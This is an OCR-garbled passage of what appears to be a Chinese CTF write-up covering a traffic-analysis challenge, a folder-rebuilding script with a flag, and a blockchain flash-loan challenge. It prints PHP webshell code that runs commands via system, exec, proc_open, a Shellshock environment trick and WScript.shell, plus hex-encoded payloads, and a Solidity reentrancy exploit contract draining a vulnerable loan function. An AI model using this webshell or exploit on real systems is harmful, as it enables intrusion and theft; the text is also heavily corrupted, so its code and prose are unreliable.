tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe('error_log')) {error_log("a", 1);} else {mail("a@127.e.0.1", "", "", "-bv");}}
else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;}}return False;};function runcmd($c)

{$ret=0;%d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe('system')){@system($c,$ret);elseif(fe( passthru’)){@passthru($c,sret);elseif(fe( 'shell_exec'))
{print(@shell_exec($c)); telseif(fe('exec’)){@exec($c,$0,%$ret);print(join("

",%0));telseif(fe( 'popen’)){$fp=@popen($c, 'r');while(!@feof($fp)){print(@fgets($fp,2048));apclose($fp);elseif(fe( 'proc_open')){$p = @proc_open($c, array(l =>
array('pipe’, 'w'), 2 => array('pipe’, 'w')), $io);while(!@feof($io[1])){print(@fgets($io[1],2048));while(!@feof($io[2]))

{print(@fgets($io[2],2048)); }afclose($io[1]);@fclose($io[2]);@proc_close($p);telseif(fe( antsystem’)){@antsystem($c);}elseif(runshellshock($d, $c)) {return
$ret;lelseif(substr($d,0,1)!="/" && @class_exists("COM")){Sw=new COM( WScript.shell’);$e=3w->exac($c);$s0=$e->StdOut();$ret.=$s0->ReadAll();%se=3e-
>Stderr();$ret.=$se->ReadAll();print($ret);}else{$ret = 127;}return $ret;};$ret=Eruncmd($r.” 2>8&1");print ($ret!=0)?"ret={$ret}":"";;}catch(Exception $e){echo

"ERROR://".$e->getMessage();};asoutput();die();&x69f445668255e=yV\PLl:a kPP AT EL EYWL 10 L VG YAT wfs TN R VA R d NP1 V8 D24 5 N 10 IR0 L0 EL - E YA d NP1 \B 1Y 940 2 bl 1]

29253342253744656¢736569662872756e7368656c6c73686T636b282532346425324325323025323463292925323025374272657475726€253230253234726574253342253744656¢7
365696628737562737472282532346425324330253243312921253344253232253246253232253230253236253236253230253430636c6173735F65786973747328253232434F4d2532
322929253742253234772533446e657725323043414d2827575363726970742e7368656c6c272925334225323465253344253234772d253345657865632825323463292533422532347

[téx
ACK]

361253344253234652d25334553746441757428292533422532347265742e25334425323473612d25334552656164416c6c28292533422532347365253344253234652d253345537464 pea=
45727228292533422532347265742e25334425323473652d25334552656164416c6c28292533427072696e742825323472657429253342253744656c736525374225323472657425323 ACK]
©2533442532303132372533422537447265747572625323025323472657425334225374425334225323472657425334425343072756e636d6428253234722e25323225323032253345 Seq=
25323631253232292533427072696e742532302825323472657421253344302925334625323272657425334425374225323472657425374425323225334125323225323225334225334
2253744636174636828457863657074696162253230253234652925374265636861253230253232455252415225334125324625324625323222253234652d2533456765744d65737361

3 |676528292533422537442533426173617574707574282925334264696528292533422678363966343435363638323535653d7976593251674969393259584976643364334¢326830625 =

2 |777765a6d78685a79493764484a65a54746c5932687649445a6b4e6a5932444637959574d7743342335a44746¢593268764944566b5a4751344d3255253344 \NPF

o |4854545021312e312032303020414bBd0al46174653a204d616e2c20303720466562203230323220303332a333732303020474d540d0a5365727665723a2041706163686521322e342e3 )

1 |436202844656269616e290d0a566172793a204163636570742d456e636164696e670d0ad36F6e74656e742d456e636F64696e673a20677a69700d0ad36f6e74656e742d4c656e677468

4 | 3a203735330d0a43616e6e656374696F6e3a20636c6173650d0ad36F6e74656e742d547970653a20746578742168746d6c3b20636861727365743d5554462d380d0abd0alf8b0800000

.| | 000000003edSccdbec2300cbef72972dcad6dfc144279811dF7041c28b46c484c4880d6cble7e48db1a709dd641a5751b47429ab@F7c5713e7d4e1c89b98e57d12450af93a17e0996cF -

i |cfea2dcd166ab3df25e92150e7118d7d47ff7eallec68f25c6d0189705e3e4d75834fc415ec5f70a20cb@2cdbd14fb6d3e5731820f96e72a38b82a4738e0f39f5ae886a4bbe007a1908

5da8853e16385224485c121397381abcal9308186484e1b269717a4216e1f955c34d21072a170d772d28c84349c94ab61e32c04dc6322F9bcc7c93eb2al3calc2765c0b64848533F6908
d321580d2b88962b21436b0a42880a8363aa34532197bf4aa3cc70228d6e9134847cbb43aece2b926b799a0919fadb86bacal3244dd43e69bc283b2c154499e15476e6429afe92ab2ea
55166b8908b419b869080ee573142540856c738088397d7811e8bd7bd04495e075891e62e97a73183b2239bdc56995066382983bcBe34431ac2740856c30a22af03ac1484101506c754
69e475c063a551663891465e079ab94ab33cd3cBaled 75c0633228339c1484c1eb002103de9086103c0657d3019741d79fb87b4286d694869079e14cbbIce944d509a54bcfea2bddea?
52664d07d276c8b370a42081e836b98340cbat9844409696e224d5de509ce26671556a4e9c65945bate7256c967932e3d2b3210a2c2e0eab997840cbaef42062eca20dd7756670b4210
185cc30752e9bef7983417521ae9d2132a41842910ac6e9390c1a58890277138c8925bcBcce@eedd58bF14bb9bb8408573e40c832b166161Fee80c613a04abdbld40b9d9F558b71cF58
8c185cdBb9dela8lfd@@ceeb61556bcb67731781ebb7b98516b78af5db1638c1e1905415fc2ab890f5d01831810alb@5c58d689fall1726171357ef41a5366033fc48a3a94ff18abf98d
« |574b06ce@el78713a2f162feb28559ff3998ceb54ab687747ddalfbbe911490dd566bbab8f814ebdd6d16clcat87cle@2b3e@cb22c1b7c9c3e7783cd2e7e@tab499244611a4c759a46a
‘| | b6433f901ed@69ab84a570000

HE 61, ¢ SR AE, | BEF A8, 1 tura(s). ALER.

\BARAE (6074 bytes) v Show data ss |[EHARHE v #
T | | BT @]
Cmeitm || 410 || Btere || B8R || Clese || Kelp |

I




4854545021312e312032303020414b0d0a4461746532204d61622c2030372046656220323032322030333a333732303020474d540d0a5365727665723a20417061636865213222342e3436202844656269616
©290d@a566172793a204163636570742d456e636164696e670d0ad3616274656e742d456263616469626732206772a69700d0a436T6e74656e742d4C656267746832203735330d0a43676262656374696F6e3a
20636c6173650d0a43616e746562742d547970653a20746578742168746d6C3b20636861727365743d5554462d380d0a0dealf8bo300000000000003ed5Ccdbec23@acbef72972dcad6dfc144279811df7041
€28b46c484c4880d6cble7248db1a709dd641a5751b47429ab0f7¢5713e7d4e1c89b98e57d1245eaf93a17e0996cfcfea2dcd166ab3df25e92150e7f18d7d47ff7eallec68f25c6d0189705e3e4d75834fc41
5ec5f70a20cb@2cd6d14fb6d3e5731820f96e72a38b82a4738e8f39f522886a4bbe07219085d28853216385224485c121397381abcal19308186484e1b269717a4216e1f955¢34d21072a170d772d28¢84349
€94261e32¢04dc6322f9bcc7c93eb2a13ca@c2765c0b6484853316908d321580d2b08962b21436b0a4288028363aa34532197bf4aa3cc70228d6e9134847cb643aece2b926b79920919Fa4b86bacal3244dd4
3e69bc283b2c154499e15476e6429afe92a62ea55166b8908b419b869080ee573142540856C738088397d7811e0bd7bd044950075891e62e97a73183b2239bdc56995066382983bc@e34431ac2740856C30a2
2afB3ac1484101506C75469e475c063a551663891465e87%ab94ab33cd3c0a0es75c0633228339c1484c1eb802103de9086103¢c0657d3019741d79fb87b4286d694869079214c6b2ce944d509a54bcfea26dd
€a252664d07d276c8b3702a42081e836b98340cbaf9844409696e224d5de509ce26671556a429c65945bafe7256c967932e3d2b3210a2c2e0ea6997840cbaef42062eca20dd7756670b42f0185cc30752e9bef
7983417521a2e9d2f32a4184e910ac6e9390c125889027738c8925bcOccedeedd58bf14bbobb8408573240c832b166161fee80c613a04abdb1d40b9dof558b71¢cf588c185cdOb9delald1fde@cee61556bcb67
73f781ebb7b98516b78af5db1638c1e1905415fc2ab890@ff5d0183f810a1b85c58d689Fa11726171357ef41a5366033fc48a3a941f18abf98d574b06ceBe1787f3a2f162feb28559FF3998ceb54ab687747dd
a1fb6e9f1490dd566bbabsf814ebad6d16cicaf87c1le@2b3e@cb22c1b7c9c3e7783cd2e7e0fa6499244611a4c759a46ab64331001ed@692b84a570000

time: 13ms
length: 22346 [_ H
Output lines: 603 a D m o
96ab84accde6.
“-- New\ folder
-- New\ folder
New\ folder

New\ folder\ (3)
-- New\ folder\ (4)
T-- New\ folder\ (2)
-- New\ Folder\ (3)
|-- New\ folder
|-- New\ folder
| | -- New\ folder
| | -- New\ folder(2)
| | “-- New\ folder
| | -- New\ folder(3)
|
|
|

I

lI--

| | -- New\ folder\ (2)
l1--

|-

I

I

I

I

|

| | " -- New\ folder
| T -- New\ folder(4)

| “-- New\ folder
| -- New\ folder(2)

| |-- New\ folder

| | -- New\ folder(2)

| | 7-- New\ folder
| | -- New\ folder(3)

| | 7-- New\ folder
| T -- New\ folder(4)
|-- New\ folder(1e)

| |-- New\ folder

| | | -- New\ folder

| | | -- New\ folder(2)
| | | -- New\ folder(3)
| | | “-- New\ folder
| | T -- New\ folder(4)
| | “-- New\ folder
| “-- New\ folder(2)

| |-- New\ folder

| | “-- New\ folder

fa S X HHETE (EFREA)

import

= open('1.txt', 'r').readlines()
=[]

for in

= i.replace('\n',"'").find('N")//
.append( )
for i in range(len(
= f[i][4* [i]:-1].replace('\\',"")




if res[i]==res[i+1]:

os.mkdir(file_name)

print(os.getcwd())

else:
if res[i]<res[i+1]:
os.mkdir(file_name)
os.chdir(file_name)
elif res[i+1]<res[i]:
os.mkdir(file_name)
tmp = res[i]-res[i+1]
for _ in range(tmp):
os.chdir('../")
print(os.getcwd())
if 1 == len(res)-1:
file_name = f[i+1][4*res[i+1]:-1].replace('\\"',"'")

os.mkdir(file_name)

REEE /RO, BMERARRE—TXHE, fEREFRIERE—TXHE, thHE\New
folder\New folder (2)\New folder (2)\New folder (2)

2. FIM. o o o —FH596 XK, MRAAHERDUXEF HRBEMENFBZH

3. HEAURBEBERALER, fE\New folder\New folder (2)\New Folder (3) F—HB40 1M X 4R, S TXMHKE
ARUNELANbIEE, RE-—T1TRAETHGIRIERAERF BRI U= flag

(PPS: REHFNF T {REVAEFNEA T FIR B AFTRLA

flag

vnctf{d23903879df575063879bcdf1efc141fe}

I BlockChain

* VNloan



XhaliZgiAE—EEHENEL T, XREMELOBART, BEERIEFEEN,
HEESKHA A

BAXEITImEE A, B EEENHSmS

FEFNMMITIOLT, BB E L,

REERN—EH, FTEREINTRAMN—1EMH, XTDefiff Flashloan+/mHFIEANN—PMEHE? K2 XHEF
N, FEHEHMELLAEEIERER.

BAEEHRIAFEE: https://zhuanlan.zhihu.com/p/448456645

AEHZXERZEAHELFEERT, XPEHEUNFER, ETATELNEMBalsniitizl), FHECHES

T —"Makeflashloan,

function fakeflashloan(uint256 value,address target,bytes memory data) public{
require(isLoan==false&&value>=08&&value<=1000) ;

balanceOf[address(this)]-=value;

balanceOf[target]+=value;

address(target) .call(data);

isLoan=true;
require(balanceOf[target]>=value);
balanceOf[address(this) ]+=value;
balanceOf[target]-=value;
isLoan=false;

FEMcallXEREN,

HEREEE T selectori B E 1Rk fallback()

WA UARIAE.,

A BIEMERENNRRIIIRE, ERRERBZNITHRMZEEHBIELERN,
FRIAZE BRI SRR B 1% AT checkSuccessT AT UH R H &4 T .
HAMREAITENIEFA TR RS EIMAY, FEBARINENwp T,

contract hack{
uint public times=0;

bool public ok=false;

address public myself=address(this);
uint256 public val;

VNETH public a;

address setup=;



https://zhuanlan.zhihu.com/p/448456645

constructor(address target)public payable{

a =VNETH(target); //target® WETH&ZAUibiL
}
function pwn()public{

bytes memory data="@xdeadbeef";
myself=address(this);
a.fakeflashloan(1000, myself, data);

}
function()external{
ok=true;
while(times<=5){
val=a.balanceOf (address(this));
times+=1;
bytes memory data="@xdeadbeef";
a.fakeflashloan(1000, myself, data);
}
if(times==6){
Setup s=Setup(setup);
s.checksuccess() ;

MHENEMAE T, RRBITWIEIE,
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